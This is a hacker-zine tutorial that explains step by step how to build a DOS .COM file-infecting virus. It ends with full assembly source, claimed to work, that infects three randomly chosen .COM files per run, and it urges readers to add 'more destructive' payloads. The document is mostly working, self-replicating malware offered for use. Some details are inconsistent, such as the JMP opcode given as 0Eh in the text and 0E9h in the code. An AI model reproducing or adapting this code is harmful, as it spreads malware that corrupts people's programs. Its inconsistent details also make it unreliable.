.COM File Infecter
by Impending Dhoom
In this article, I will explain each part of the COM infecter in as much depth as possible and in as easy a way to understand as I can make it.
I won't discuss the file chooser or the random number routine since it's easy to make your own file chooser and there is a whole other article's worth of information on those topics.
Before we talk about infecting the COM file there is a problem with the variables we must address. Any time you declare data (with db, dd, etc.), the assembler converts any references you make to the data to a constant number. This becomes a problem for our virus when we infect another file. When the virus infects another file, the code is put into an entirely different place in memory. This throws off any reference to data you make.
Fortunately there is a way to combat this. At the beginning of your virus the first lines should be this:
SOV: call get_offset ; Push the address onto the stack get_offset: pop di ; Pop it into DI sub di, offset get_offset ; Adjust to host fileThe CALL will push the return address onto the stack, we can pop it into DI. When the assembler assembles offset get_offset it generates a constant number. We can subtract this value from DI and we will get the value that your references are off by; this value is now in DI.
Now when you reference data, do it like this:
lea dx, [di+data]; Right wayInstead of like this:
lea dx, data ; Wrong wayThat's a quick fix to your referencing problem and as long as you put that code at the beginning of your virus and reference data as I have shown, you'll have no problem.
As you will see when you infect a file, you will save the original three bytes in buffer. (The next paragraph is where you save the three bytes of the host.)
You need these bytes saved so the virus can allow its host to run when your virus has finished executing. When your virus replicates, the data in buffer will be overwritten and it will contain data from the wrong host.
So we copy the data to another three byte buffer called savebuffer. The data we copy there won't be overwritten. It may not make complete sense to you now, but it will:
mov bp, di ; Save our reference offset lea di, [bp+savebuffer] ; Save original 3 bytes of YOUR current host, (i.e. infected file that's executing) lea si, [bp+buffer] movsw movsb ; Save 3 bytes mov di, bpBefore you change the first three bytes of the host, you need to save them in a safe place. (This is so the spawn of this virus will have the original three bytes of its host and be able to run the original.)
mov ah, 03Dh ; Open file mov al, 2h lea dx, [bp-98] ; This is just where I happen to have put the filename, change it to suit your code int 21h xchg ax, bx ; Put file handle in BX mov ah, 03Fh ; Read from file mov cx, 3 ; Read in 3 bytes lea dx, [di+buffer] ; Put bytes in buffer int 21hNow that the original three bytes are safe and out of the way, the first three bytes of the program must be changed into a jmp that points to your virus. Calculating the offset the jmp should jump to isn't as hard as it sounds... This code shows you how to do it:
; This code assumes a file handle is in BX and that you have not yet appended your virus to the end of the host mov ah, 42h ; Move the Read/Write pointer to the end of the file mov al, 2h mov dx, 0 mov cx, 0 ; AX now contains the offset of the end of the file int 21h xchg ax, dx ; Save offset mov ah, 03Eh ; Close file int 21h xchg ax, dx ; Restore offset sub ax, 3 ; If you don't subtract 3 everything will be off by 3 and cause chaos ; AX now contains the offset of where your virus will beginNow that you know how to calculate the offset of your virus, you need to build your jmp statement. This is very easy - simply create a piece of data like this:
evil_jump db 0Eh, ?, ? ; 0Eh is machine code for JMPThe 0Eh is the jmp part of your code - all that remains now is to move the offset of your virus into the two bytes after the 0Eh (i.e., ?, ?):
mov word ptr [di+evil_jump+1], ax ; Move the offset of your virus in AX into the evil_jumpNow you have built your jmp and are ready to alter the host. Now all you have to do is open the host again and write the three bytes located in evil_jump. Then you can append your virus to the end of the host.
But wait, you don't want to infect a file you already made ill, do you?
This is something you must avoid. Multiple infections on the same file will eventually be noticeable because of the space it takes up on disk and the delay when an infected file is run. You should always check to see if a file has already been infected before you infect it again.
Determining if a file has been infected isn't too hard. We already have the offset of where the code should begin in AX, but if this file is infected the offset will be off by the size of your virus.
All you need to do is compare the 2nd and 3rd original bytes of the host, [buffer+1], with: [AX-virus size]
You use [buffer+1] in your comparison because if this file has been infected you have put a jmp to your virus at the first three bytes.
So the data at [buffer+1] will be the offset to your virus if the host has already been infected. Makes sense, right?
To determine the size of your virus, place two labels in your code, SOV and EOV.
Put SOV at the very beginning of your code and EOV at the very end of your code. Now if you were to subtract SOV from EOV it would result in the length of your virus, so whenever you need to use the length of your virus simply use (EOV-SOV). Easy enough.
So here's all that in code:
; Replace the last line of the code presented to calculate the offset of the virus above, with this code calculate_jmp_offset: sub ax, (EOV-SOV)+3 ; Subtract virus size plus 3 check_for_previous_infection: cmp word ptr [di+buffer+1], ax ; Check for infection je exit ; If the offsets are equal exit ; (Change this label to suit your code) build_a_new_jump: add ax, (EOV-SOV) ; Readjust for the new jump mov word ptr [di+evil_jump+1], ax ; Construct jmp for your virus write_new_jump: ; End of codeBy inserting this checking procedure you can determine if the file has been infected or not. If it hasn't, you're free to infect the file. All you have to do is open the file, write the jump at the beginning, move the read/write pointer to the end of the file and append the virus.
Now, after we have infected our file you can have your virus do whatever you want. When you're done, you'll want to run the original program.
Running the original program is easy. COM files are loaded into memory at 100h. So all we have to do is copy the original three bytes of the host to 100h and jmp there (or you could push 100h and issue a ret). It's that easy:
run_host: mov bp, di ; Move our reference offset to BP lea si, [bp+savebuffer] ; Point SI to original three bytes lea di, 0100h ; Beginning of host in memory push di ; push 100h so we can RET movsw movsb ; Copy three bytes xor ax, ax xor bx, bx ; It's a good idea to zero the registers before returning but isn't always necessary xor cx, cx xor dx, dx xor si, si xor di, di xor bp, bp ret ; Run the hostThe data in savebuffer is what is copied to memory and executed so the host will run. However, the first time the virus is run there is no host. So what's going to happen when it tries to run a host? It's probably just going to crash, and that's something you don't want to happen.
There is an easy way to fix that. The data executed is stored in savebuffer, the data in savebuffer is copied from buffer before an infection takes place. So all you need to do is declare buffer like this in your code:
buffer db CDh, 20h, 00h ; Machine code for interrupt 20hNow the first time the virus is run, buffer contains the data for an int 20h. That data is then copied to savebuffer. Then when the virus tries to run the non-existent host it will execute int 20h and terminate the program, exiting normally.
You basically understand everything that happens to infect a COM file. I have explained each part in pretty much the order it's executed. So what does all this look like in a working COM file infecter?
Well here's the code for a working COM file infecter. Enjoy!
; This is an example of a .COM infecter. It will choose 3 random directories ; and files to infect everytime it is run. It will also display a quick message ; before a host is executed. The file searching routines aren't the best, but ; they will do for this demo. .model small .code org 100h SOV: ; Sets up DI for referencing main: call get_offset get_offset: pop bp ; Put it into BP sub bp, offset get_offset ; Adjust to host file lea si, [bp + buffer] ; Original start lea di, [bp + savebuffer] ; Copy to the save buffer movsw movsb ; Copy 3 bytes mov di, bp ; Set up DI jmp begin wildcard db '*.*',0 root db '\',0 com_card db '*.COM',0 buffer db 0CDh, 20h, 00h savebuffer db 'RPC' evil_jump db 0E9h, ?, ? msg db 'Here I AM!', 0Dh, 0Ah, '$' xrand dw 0 ; Random Number Generator variables multip dw 253 rand: mov ax, [di + xrand] ; Check seed cmp ax, 0 jne getnxt ; If seed uninitialized or zero call the clock function ; and use 100ths of seconds for new seed mov ah, 2Ch int 21h mov ax, dx getnxt: neg ax mul [di + multip] ; Puts result into AX, DX mov [di + xrand], ax ; Save low word for new seed mod_it: ; Divide by 2 and use remainder - it will be 0 for even ; and 1 for odd. If we wanted 3 random numbers instead of ; just 0 + 1 we divide by 3, 4, 5... result will be 0 ; to n-1 xor dx, dx mov bx, 3 div bx exit: ret ;RUN ORIGINAL COM PROGRAM run_orig_com: ; Zero all our registers mov bp, di ; Move offset in di to bp lea si, [bp + savebuffer] ; Original start mov di, 100h ; Put 100h on to stack for return to main program push di movsw movsb ; Copy 3 bytes xor ax, ax mov bx, ax ; The address a RET jumps to is POPed off the stack mov cx, ax mov dx, ax ; That 'push di' in the beginning put 100h on the ; stack and right now it's the last thing that needs ; poped... This will POP it and return control to the ; host file. mov si, ax mov di, ax mov bp, ax ret ; COM FTIE INFECTION ROUTINE infect_com: mov ah, 3Dh mov al, 2h ; Open file function. Where I stored the filename change ; to suit your needs lea dx, [bp - 98] int 21h xchg ax, bx ; Put file handle in BX mov ah, 03Fh ; Read from file function mov cx, 3 ; Read in 3 bytes lea dx, [di + buffer] ; Put bytes in buffer int 21h mov ah, 42h mov al, 2h ; Move RW pointer to EOF mov dx, 0 mov cx, 0 int 21h ; AX now contains offset of EOF xchg ax, dx ; Save offset mov ah, 03Eh ; Close file int 21h xchg ax, dx ; Restore offset calculate_jmp_offset: sub ax, (EOV - SOV) + 3 ; Subtract virus size check_for_previous_infection: cmp word ptr [di + buffer + 1], ax ; Check for infection je done_infect ; If so, exit build_a_new_jump: add ax, (EOV - SOV) ; Readjust for the new jump mov word ptr [di + evil_jump + 1], ax ; Construct jmp for our program write_new_jump: mov ah, 03Dh mov al, 02h ; Open file function lea dx, [bp - 98] int 21h xchg ax, bx ; Put file handle in BX mov ah, 040h ; Write to file function mov cx, 3 ; 3 bytes lea dx, [di + evil_jump] ; Put at beginning int 21h append_virus: mov ax, 04202h ; Seek EOF xor cx, cx xor dx, dx ; Append Virus to EOF int 21h mov ah, 40h ; Write to file function mov cx, (EOV - SOV) ; Length of virus lea dx, (di + SOV) ; Begin with the beginning int 21h done_infect: ret ; Exit infect_com ; FIND A FILE find_it: push bp mov ah, 02Fh ; Get and save the old DTA location int 21h push bx mov bp, sp ; Set up new DTA location sub sp, 128 mov ah, 01Ah ; DOS set DTA function to location we set up lea dx, [bp - 128] int 21h f_1: mov ah, 04Eh ; DOS find first function mov cx, 10h ; Find directories lea dx, [di + wildcard] ; Search for int 21h f_2: jc f_5 ; If no more files then goto done cmp byte ptr [bp - 107], 16 ; Is this a directory? jne f_3 ; No, then findnext cmp byte ptr [bp - 98], '.' ; a . or . ? je f_3 ; Yes, then findnext call rand cmp dx, 0 je f_3 call rand cmp dx, 0 ; Check random number je f_4 ; Change directory f_3: mov ah, 04Fh ; DOS find next function mov cx, 10h ; Find directories lea dx, [di + wildcard] ; Search for *.* int 21h jmp f_2 ; Go through logic f_4: mov ah, 03Bh ; DOS change directory function lea dx, [bp - 98] ; Points to filename in DTA int 21h jmp f_1 ; Begin new directory search f_5: mov ah, 4Eh ; Find first file mov cx, 0007h ; Any file attribute lea dx, [di + com_card] ; DS:[DX] -> filemask int 21h jc argg do_logic: call rand cmp dx, 0 je find_another call rand cmp dx, 0 je found find_another: mov ah, 4Fh ; Find next file int 21h jc found jmp do_logic found: call infect_com argg: mov sp, bp ; Restore old stack frame mov ah, 01Ah ; Set DTA function pop dx ; Restore old DTA address int 21h pop bp ; Restore BP ret ; SAVE OLD DIR AND CALL INFECTION, THEN RESTORE OLD DIR begin: push bp ; Save BP mov bp, sp ; BP points to local buffer sub sp, 64 ; Allocate 64 bytes on stack mov ah, 047h ; DOS get current dir function xor dl, dl ; DL holds drive # (current) lea si, [bp - 64] ; SI points to 64 byte buffer int 21h mov cx, 3 ; # of times to infect a file looop: push cx mov ah, 3Bh ; DOS change directory function lea dx, [di + root] ; DX points to root directory int 21h call find_it ; Do the infection pop cx loop looop mov ah, 38h ; DOS change directory function lea dx, [di + root] ; DX points to root directory int 21h mov ah, 3Bh ; DOS change directory function lea dx, [bp - 64] ; DX points to old directory int 21h mov sp, bp ; Restore old stack pointer pop bp ; Restore BP mov ah, 9 ; Just displays a message before host executes... ; Hope you think of something better, more destructive... lea dx, [di + msg] int 21h jmp run_orig_com EOV: int 20h end SOV ; This code was tested and assembled with TASM 1.0 and works great, enjoy!Code: COM-infecter.asm
Code: COM-infecter.com